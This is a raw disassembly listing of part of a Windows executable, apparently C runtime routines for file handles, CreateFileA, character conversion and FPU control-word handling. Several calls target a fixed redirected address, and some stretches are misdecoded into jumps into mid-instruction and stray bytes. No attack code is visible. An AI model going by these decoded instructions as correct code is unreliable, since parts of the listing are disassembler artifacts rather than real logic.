loc_423AAA: ; CODE XREF: sub_423A20+74j
shl edi, 5
mov ebx, edi
loc_423AAF: ; CODE XREF: sub_423A20+39j
; sub_423A20+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423A20 endp
; =============== S U B R O U T I N E =======================================
sub_423AB5 proc near ; CODE XREF: sub_423C7E+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, ds:dword_4DE2E0
push edi
jnb short loc_423B15
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DE1E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423B15
cmp ds:dword_43CF54, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423B0B
sub eax, 0
jz short loc_423B02
dec eax
jz short loc_423AFD
dec eax
jnz short loc_423B0B
push ebx
push 0FFFFFFF4h
jmp short loc_423B05
; ---------------------------------------------------------------------------
loc_423AFD: ; CODE XREF: sub_423AB5+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423B05
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: sub_423AB5+3Bj
push ebx
push 0FFFFFFF6h
loc_423B05: ; CODE XREF: sub_423AB5+46j
; sub_423AB5+4Bj
call near ptr 0B10000h
push esi
loc_423B0B: ; CODE XREF: sub_423AB5+36j
; sub_423AB5+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423B29
; ---------------------------------------------------------------------------
loc_423B15: ; CODE XREF: sub_423AB5+Cj
; sub_423AB5+28j
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
or eax, 0FFFFFFFFh
loc_423B29: ; CODE XREF: sub_423AB5+5Ej
pop edi
pop esi
retn
sub_423AB5 endp
; ---------------------------------------------------------------------------
loc_423B2C: ; CODE XREF: sub_41DC92+7Cp
mov ecx, [esp+4]
push esi
cmp ecx, ds:dword_4DE2E0
push edi
jnb short loc_423B8F
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DE1E0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_423B8F
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_423B8F
cmp ds:dword_43CF54, 1
jnz short near ptr loc_423B84+1
xor eax, eax
sub ecx, eax
jz short loc_423B7C
dec ecx
jz short loc_423B77
dec ecx
jnz short near ptr loc_423B84+1
push eax
push 0FFFFFFF4h
jmp short loc_423B7F
; ---------------------------------------------------------------------------
loc_423B77: ; CODE XREF: seg000:00423B6Dj
push eax
push 0FFFFFFF5h
jmp short loc_423B7F
; ---------------------------------------------------------------------------
loc_423B7C: ; CODE XREF: seg000:00423B6Aj
push eax
push 0FFFFFFF6h
loc_423B7F: ; CODE XREF: seg000:00423B75j
; seg000:00423B7Aj
call near ptr 0B10000h
loc_423B84: ; CODE XREF: seg000:00423B64j
; seg000:00423B70j
sub eax, 0C83078Bh
xor bh, bh
xor eax, eax
jmp short loc_423BA3
; ---------------------------------------------------------------------------
loc_423B8F: ; CODE XREF: seg000:00423B38j
; seg000:00423B56j ...
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
or eax, 0FFFFFFFFh
loc_423BA3: ; CODE XREF: seg000:00423B8Dj
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_423BA6 proc near ; CODE XREF: sub_41DC92+32p
; sub_41DC92+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_4DE2E0
jnb short loc_423BCE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_4DE1E0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_423BCE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_423BCE: ; CODE XREF: sub_423BA6+Aj
; sub_423BA6+23j
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
or eax, 0FFFFFFFFh
retn
sub_423BA6 endp
; =============== S U B R O U T I N E =======================================
sub_423BE3 proc near ; CODE XREF: sub_41DD70+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_4DE2E0
jnb short loc_423C2C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, ds:dword_4DE1E0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423C2C
push eax
call sub_423BA6
pop ecx
push eax
call near ptr 0B10000h
pop esi
test eax, eax
jnz short loc_423C21
call ds:dword_42808C ; RtlGetLastWin32Error
jmp short loc_423C23
; ---------------------------------------------------------------------------
loc_423C21: ; CODE XREF: sub_423BE3+34j
xor eax, eax
loc_423C23: ; CODE XREF: sub_423BE3+3Cj
test eax, eax
jz short locret_423C39
mov ds:dword_4DDEB8, eax
loc_423C2C: ; CODE XREF: sub_423BE3+Aj
; sub_423BE3+22j
mov ds:dword_4DDEB4, 9
or eax, 0FFFFFFFFh
locret_423C39: ; CODE XREF: sub_423BE3+42j
retn
sub_423BE3 endp
; =============== S U B R O U T I N E =======================================
sub_423C3A proc near ; CODE XREF: sub_41F263+32p
; sub_41F7AA+6Cp ...
arg_0 = dword ptr 4
inc ds:dword_4DDF8C
push 1000h
call sub_41B6C5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423C63
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423C74
; ---------------------------------------------------------------------------
loc_423C63: ; CODE XREF: sub_423C3A+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423C74: ; CODE XREF: sub_423C3A+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_423C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423C7E proc near ; CODE XREF: sub_41F54D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423CA4
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423CAF
; ---------------------------------------------------------------------------
loc_423CA4: ; CODE XREF: sub_423C7E+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423CAF: ; CODE XREF: sub_423C7E+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423CC9
test ch, 40h
jnz short loc_423CC5
cmp ds:dword_4DE1B0, eax
jz short loc_423CC9
loc_423CC5: ; CODE XREF: sub_423C7E+3Dj
or [ebp+var_1], 80h
loc_423CC9: ; CODE XREF: sub_423C7E+38j
; sub_423C7E+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423D01
dec eax
jz short loc_423CF8
dec eax
jz short loc_423CEF
loc_423CDA: ; CODE XREF: sub_423C7E+9Fj
; sub_423C7E+E8j ...
mov ds:dword_4DDEB4, 16h
mov ds:dword_4DDEB8, ebx
jmp loc_423F14
; ---------------------------------------------------------------------------
loc_423CEF: ; CODE XREF: sub_423C7E+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423D08
; ---------------------------------------------------------------------------
loc_423CF8: ; CODE XREF: sub_423C7E+57j
mov [ebp+var_C], 40000000h
jmp short loc_423D08
; ---------------------------------------------------------------------------
loc_423D01: ; CODE XREF: sub_423C7E+54j
mov [ebp+var_C], 80000000h
loc_423D08: ; CODE XREF: sub_423C7E+78j
; sub_423C7E+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423D36
cmp eax, 20h
jz short loc_423D2D
cmp eax, 30h
jz short loc_423D24
cmp eax, 40h
jnz short loc_423CDA
mov [ebp+var_10], esi
jmp short loc_423D39
; ---------------------------------------------------------------------------
loc_423D24: ; CODE XREF: sub_423C7E+9Aj
mov [ebp+var_10], 2
jmp short loc_423D39
; ---------------------------------------------------------------------------
loc_423D2D: ; CODE XREF: sub_423C7E+95j
mov [ebp+var_10], 1
jmp short loc_423D39
; ---------------------------------------------------------------------------
loc_423D36: ; CODE XREF: sub_423C7E+90j
mov [ebp+var_10], ebx
loc_423D39: ; CODE XREF: sub_423C7E+A4j
; sub_423C7E+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423D83
jz short loc_423D7E
cmp ecx, ebx
jz short loc_423D7E
cmp ecx, edi
jz short loc_423D75
cmp ecx, 200h
jz short loc_423D9C
cmp ecx, 300h
jnz loc_423CDA
mov [ebp+var_8], 2
jmp short loc_423DAC
; ---------------------------------------------------------------------------
loc_423D75: ; CODE XREF: sub_423C7E+D8j
mov [ebp+var_8], 4
jmp short loc_423DAC
; ---------------------------------------------------------------------------
loc_423D7E: ; CODE XREF: sub_423C7E+D0j
; sub_423C7E+D4j
mov [ebp+var_8], esi
jmp short loc_423DAC
; ---------------------------------------------------------------------------
loc_423D83: ; CODE XREF: sub_423C7E+CEj
cmp ecx, 500h
jz short loc_423DA5
cmp ecx, 600h
jz short loc_423D9C
cmp ecx, edx
jz short loc_423DA5
jmp loc_423CDA
; ---------------------------------------------------------------------------
loc_423D9C: ; CODE XREF: sub_423C7E+E0j
; sub_423C7E+113j
mov [ebp+var_8], 5
jmp short loc_423DAC
; ---------------------------------------------------------------------------
loc_423DA5: ; CODE XREF: sub_423C7E+10Bj
; sub_423C7E+117j
mov [ebp+var_8], 1
loc_423DAC: ; CODE XREF: sub_423C7E+F5j
; sub_423C7E+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423DCB
mov ecx, ds:dword_4DDEBC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423DCB
push 1
pop esi
loc_423DCB: ; CODE XREF: sub_423C7E+138j
; sub_423C7E+148j
test al, 40h
jz short loc_423DD9
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423DD9: ; CODE XREF: sub_423C7E+14Fj
test ah, 10h
jz short loc_423DE0
or esi, edi
loc_423DE0: ; CODE XREF: sub_423C7E+15Ej
test al, 20h
jz short loc_423DEC
or esi, 8000000h
jmp short loc_423DF6
; ---------------------------------------------------------------------------
loc_423DEC: ; CODE XREF: sub_423C7E+164j
test al, 10h
jz short loc_423DF6
or esi, 10000000h
loc_423DF6: ; CODE XREF: sub_423C7E+16Cj
; sub_423C7E+170j
call sub_423A20
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423E17
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 18h
jmp short loc_423E55
; ---------------------------------------------------------------------------
loc_423E17: ; CODE XREF: sub_423C7E+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call ds:dword_4280EC ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_423E48
push esi
call near ptr 0B10000h
db 67h
test eax, eax
jnz short loc_423E5C
push esi
call ds:dword_42806C ; CloseHandle
loc_423E48: ; CODE XREF: sub_423C7E+1B6j
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
call sub_4205FF
pop ecx
loc_423E55: ; CODE XREF: sub_423C7E+197j
mov eax, edi
jmp loc_423F32
; ---------------------------------------------------------------------------
loc_423E5C: ; CODE XREF: sub_423C7E+1C1j
cmp eax, 2
jnz short loc_423E67
or [ebp+var_1], 40h
jmp short loc_423E70
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423C7E+1E1j
cmp eax, 3
jnz short loc_423E70
or [ebp+var_1], 8
loc_423E70: ; CODE XREF: sub_423C7E+1E7j
; sub_423C7E+1ECj
push esi
push ebx
call sub_423AB5
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DE1E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423F19
test al, 80h
jz short loc_423F19
test byte ptr [ebp+arg_4], 2
jz short loc_423F19
push 2
push 0FFFFFFFFh
push ebx
call sub_422A04
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423ECE
cmp ds:dword_4DDEB8, 83h
jz short loc_423F19
jmp short loc_423F0D
; ---------------------------------------------------------------------------
loc_423ECE: ; CODE XREF: sub_423C7E+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F33C
add esp, 0Ch
test eax, eax
jnz short loc_423EFB
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423EFB
push [ebp+var_10]
push ebx
call loc_42515A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423F0D
loc_423EFB: ; CODE XREF: sub_423C7E+265j
; sub_423C7E+26Bj
push 0
push 0
push ebx
call sub_422A04
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423F19
loc_423F0D: ; CODE XREF: sub_423C7E+24Ej
; sub_423C7E+27Bj
push ebx
call sub_41DC92
pop ecx
loc_423F14: ; CODE XREF: sub_423C7E+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423F32
; ---------------------------------------------------------------------------
loc_423F19: ; CODE XREF: sub_423C7E+221j
; sub_423C7E+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423F30
test byte ptr [ebp+arg_4], 8
jz short loc_423F30
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423F30: ; CODE XREF: sub_423C7E+29Fj
; sub_423C7E+2A5j
mov eax, ebx
loc_423F32: ; CODE XREF: sub_423C7E+1D9j
; sub_423C7E+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423C7E endp
; ---------------------------------------------------------------------------
loc_423F37: ; CODE XREF: sub_41F735+5Ep
; seg000:004203A2p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428C50
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, ds:dword_4DE0A8
xor ebx, ebx
cmp eax, ebx
jnz short loc_423FA6
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_428940
push esi
call ds:dword_428020 ; GetStringTypeW
test eax, eax
jz short loc_423F84
mov eax, esi
jmp short loc_423FA1
; ---------------------------------------------------------------------------
loc_423F84: ; CODE XREF: seg000:00423F7Ej
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_4CDAB0
push esi
push ebx
call near ptr 0B10000h
inc dword ptr [ebp-317BF040h]
; ---------------------------------------------------------------------------
db 0
dd 26A0000h
; ---------------------------------------------------------------------------
pop eax
loc_423FA1: ; CODE XREF: seg000:00423F82j
mov ds:dword_4DE0A8, eax
loc_423FA6: ; CODE XREF: seg000:00423F66j
cmp eax, 2
jnz short loc_423FCF
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_423FB7
mov eax, ds:dword_4DDF74
loc_423FB7: ; CODE XREF: seg000:00423FB0j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 0B10000h
stosb
jmp loc_42406E
; ---------------------------------------------------------------------------
loc_423FCF: ; CODE XREF: seg000:00423FA9j
cmp eax, 1
jnz loc_42406C
cmp [ebp+18h], ebx
jnz short loc_423FE5
mov eax, ds:dword_4DDF84
mov [ebp+18h], eax
loc_423FE5: ; CODE XREF: seg000:00423FDBj
push ebx
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+18h]
call ds:dword_428184 ; MultiByteToWideChar
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_42406C
mov [ebp-4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp-18h], esp
mov esi, esp
mov [ebp-24h], esi
push edi
push ebx
push esi
call sub_41B780
add esp, 0Ch
jmp short loc_42403B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor esi, esi
loc_42403B: ; CODE XREF: seg000:0042402Ej
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_42406C
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call ds:dword_428184 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_42406C
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call ds:dword_428020 ; GetStringTypeW
jmp short loc_42406E
; ---------------------------------------------------------------------------
loc_42406C: ; CODE XREF: seg000:00423FD2j
; seg000:00424007j ...
xor eax, eax
loc_42406E: ; CODE XREF: seg000:00423FCAj
; seg000:0042406Aj
lea esp, [ebp-34h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_424080 proc near ; CODE XREF: sub_41F7AA+61p
; sub_420666+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_4DE2E0
jb short loc_42408F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42408F: ; CODE XREF: sub_424080+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_4DE1E0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_424080 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4240A6 proc near ; CODE XREF: sub_41F8BF+2D4p
; sub_41F8BF+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_4240B2
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4240B2: ; CODE XREF: sub_4240A6+8j
cmp ds:dword_4DDF74, 0
jnz short loc_4240CD
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_4240FF
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4240CD: ; CODE XREF: sub_4240A6+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push ds:dword_43F194
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push ds:dword_4DDF84
call ds:dword_428180 ; WideCharToMultiByte
test eax, eax
jz short loc_4240FF
cmp [ebp+arg_0], 0
jz short loc_42410C
loc_4240FF: ; CODE XREF: sub_4240A6+1Ej
; sub_4240A6+51j
mov ds:dword_4DDEB4, 2Ah
or eax, 0FFFFFFFFh
loc_42410C: ; CODE XREF: sub_4240A6+57j
pop ebp
retn
sub_4240A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42410E proc near ; CODE XREF: sub_420730+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_424131
cmp [ebp+arg_8], ebx
jz short loc_424131
mov al, [esi]
cmp al, bl
jnz short loc_424137
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_424131
mov [eax], bx
loc_424131: ; CODE XREF: sub_42410E+Cj
; sub_42410E+11j ...
xor eax, eax
loc_424133: ; CODE XREF: sub_42410E+42j
; sub_42410E+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_424137: ; CODE XREF: sub_42410E+17j
cmp ds:dword_4DDF74, ebx
jnz short loc_424152
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_42414D
movzx ax, al
mov [ecx], ax
loc_42414D: ; CODE XREF: sub_42410E+36j
; sub_42410E+C0j
push 1
pop eax
jmp short loc_424133
; ---------------------------------------------------------------------------
loc_424152: ; CODE XREF: sub_42410E+2Fj
mov ecx, ds:off_43EF88
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_4241AF
mov eax, ds:dword_43F194
cmp eax, 1
jle short loc_424196
cmp [ebp+arg_8], eax
jl short loc_4241A0
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push ds:dword_4DDF84
call ds:dword_428184 ; MultiByteToWideChar
test eax, eax
mov eax, ds:dword_43F194
jnz short loc_424133
loc_424196: ; CODE XREF: sub_42410E+5Cj
cmp [ebp+arg_8], eax
jb short loc_4241A0
cmp [esi+1], bl
jnz short loc_424133
loc_4241A0: ; CODE XREF: sub_42410E+61j
; sub_42410E+8Bj ...
mov ds:dword_4DDEB4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_424133
; ---------------------------------------------------------------------------
loc_4241AF: ; CODE XREF: sub_42410E+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push ds:dword_4DDF84
call ds:dword_428184 ; MultiByteToWideChar
test eax, eax
jnz loc_42414D
jmp short loc_4241A0
sub_42410E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4241E0 proc near ; CODE XREF: sub_420730+797p
; sub_420730+7E7p
cmp cl, 40h
jnb short loc_4241FA
cmp cl, 20h
jnb short loc_4241F0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_4241F0: ; CODE XREF: sub_4241E0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_4241FA: ; CODE XREF: sub_4241E0+3j
xor eax, eax
xor edx, edx
retn
sub_4241E0 endp
; =============== S U B R O U T I N E =======================================
sub_4241FF proc near ; CODE XREF: sub_4211A6+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42424B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_42421D
test al, 80h
jz short loc_42424B
test al, 2
jnz short loc_42424B
loc_42421D: ; CODE XREF: sub_4241FF+14j
cmp dword ptr [esi+8], 0
jnz short loc_42422A
push esi
call sub_423C3A
pop ecx
loc_42422A: ; CODE XREF: sub_4241FF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_42423A
cmp dword ptr [esi+4], 0
jnz short loc_42424B
inc eax
mov [esi], eax
loc_42423A: ; CODE XREF: sub_4241FF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424251
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424257
inc eax
mov [esi], eax
loc_42424B: ; CODE XREF: sub_4241FF+9j
; sub_4241FF+18j ...
or eax, 0FFFFFFFFh
loc_42424E: ; CODE XREF: sub_4241FF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424251: ; CODE XREF: sub_4241FF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424257: ; CODE XREF: sub_4241FF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42424E
sub_4241FF endp
; =============== S U B R O U T I N E =======================================
sub_42426D proc near ; CODE XREF: sub_421796+52p
xor eax, eax
retn
sub_42426D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424270 proc near ; CODE XREF: sub_4242A5+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_4242BB
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42434D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424270 endp
; =============== S U B R O U T I N E =======================================
sub_4242A5 proc near ; CODE XREF: sub_421A82+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424270
pop ecx
pop ecx
retn
sub_4242A5 endp
; =============== S U B R O U T I N E =======================================
sub_4242BB proc near ; CODE XREF: sub_424270+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_4242CC
push 10h
pop eax
loc_4242CC: ; CODE XREF: sub_4242BB+Cj
test bl, 4
jz short loc_4242D3
or al, 8
loc_4242D3: ; CODE XREF: sub_4242BB+14j
test bl, 8
jz short loc_4242DA
or al, 4
loc_4242DA: ; CODE XREF: sub_4242BB+1Bj
test bl, 10h
jz short loc_4242E1
or al, 2
loc_4242E1: ; CODE XREF: sub_4242BB+22j
test bl, 20h
jz short loc_4242E8
or al, 1
loc_4242E8: ; CODE XREF: sub_4242BB+29j
test bl, 2
jz short loc_4242F2
or eax, 80000h
loc_4242F2: ; CODE XREF: sub_4242BB+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_42432A
cmp edx, 400h
jz short loc_424327
cmp edx, 800h
jz short loc_424323
cmp edx, esi
jnz short loc_42432A
or eax, edi
jmp short loc_42432A
; ---------------------------------------------------------------------------
loc_424323: ; CODE XREF: sub_4242BB+5Ej
or eax, ebp
jmp short loc_42432A
; ---------------------------------------------------------------------------
loc_424327: ; CODE XREF: sub_4242BB+56j
or ah, 1
loc_42432A: ; CODE XREF: sub_4242BB+4Ej
; sub_4242BB+62j ...
and ecx, edi
pop esi
jz short loc_42433A
cmp ecx, ebp
jnz short loc_42433F
or eax, 10000h
jmp short loc_42433F
; ---------------------------------------------------------------------------
loc_42433A: ; CODE XREF: sub_4242BB+72j
or eax, 20000h
loc_42433F: ; CODE XREF: sub_4242BB+76j
; sub_4242BB+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42434C
or eax, 40000h
locret_42434C: ; CODE XREF: sub_4242BB+8Aj
retn
sub_4242BB endp
; =============== S U B R O U T I N E =======================================
sub_42434D proc near ; CODE XREF: sub_424270+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42435D
push 1
pop eax
loc_42435D: ; CODE XREF: sub_42434D+Bj
test bl, 8
jz short loc_424364
or al, 4
loc_424364: ; CODE XREF: sub_42434D+13j
test bl, 4
jz short loc_42436B
or al, 8
loc_42436B: ; CODE XREF: sub_42434D+1Aj
test bl, 2
jz short loc_424372
or al, 10h
loc_424372: ; CODE XREF: sub_42434D+21j
test bl, 1
jz short loc_424379
or al, 20h
loc_424379: ; CODE XREF: sub_42434D+28j
test ebx, 80000h
jz short loc_424383
or al, 2
loc_424383: ; CODE XREF: sub_42434D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_4243B0
cmp ecx, 100h
jz short loc_4243AD
cmp ecx, esi
jz short loc_4243A8
cmp ecx, edx
jnz short loc_4243B0
or ah, 0Ch
jmp short loc_4243B0
; ---------------------------------------------------------------------------
loc_4243A8: ; CODE XREF: sub_42434D+50j
or ah, 8
jmp short loc_4243B0
; ---------------------------------------------------------------------------
loc_4243AD: ; CODE XREF: sub_42434D+4Cj
or ah, 4
loc_4243B0: ; CODE XREF: sub_42434D+44j
; sub_42434D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_4243C6
cmp ecx, 10000h
jnz short loc_4243C8
or eax, esi
jmp short loc_4243C8
; ---------------------------------------------------------------------------
loc_4243C6: ; CODE XREF: sub_42434D+6Bj
or eax, edx
loc_4243C8: ; CODE XREF: sub_42434D+73j
; sub_42434D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_4243D5
or ah, 10h
locret_4243D5: ; CODE XREF: sub_42434D+83j
retn
sub_42434D endp
; =============== S U B R O U T I N E =======================================
sub_4243D6 proc near ; CODE XREF: sub_424475+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_42441B
inc esi
cmp esi, 3
jge short loc_424416
lea eax, [eax+esi*4]
loc_424408: ; CODE XREF: sub_4243D6+3Ej
cmp dword ptr [eax], 0
jnz short loc_42441B
inc esi
